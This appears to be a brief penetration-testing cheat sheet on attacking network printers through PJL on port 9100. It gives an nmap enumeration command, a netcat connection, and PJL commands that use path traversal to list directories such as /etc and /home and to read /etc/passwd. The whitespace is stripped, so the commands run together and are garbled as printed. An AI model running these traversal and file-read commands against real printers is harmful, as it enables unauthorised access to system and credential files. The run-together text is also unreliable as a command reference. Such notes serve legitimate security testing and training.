PLJ (Printer Job Languages) is a method for switching printer languages. A default port is 9100.
Enumeration
nmap--scriptpjl-ready-message-p9100<target-ip>
Connect
nc<target-ip>9100
Commands
# See printer information@PJLINFOSTATUS@PJLINFOID@PJLINFOPRODINFO# See directories in the system@PJLFSDIRLISTNAME="0:"ENTRY=1@PJLFSDIRLISTNAME="0:/../"ENTRY=1@PJLFSDIRLISTNAME="0:/../etc/"ENTRY=1@PJLFSDIRLISTNAME="0:/../home/"ENTRY=1# See contents of a file@PJLFSUPLOADNAME="0:/../etc/passwd"ENTRY=1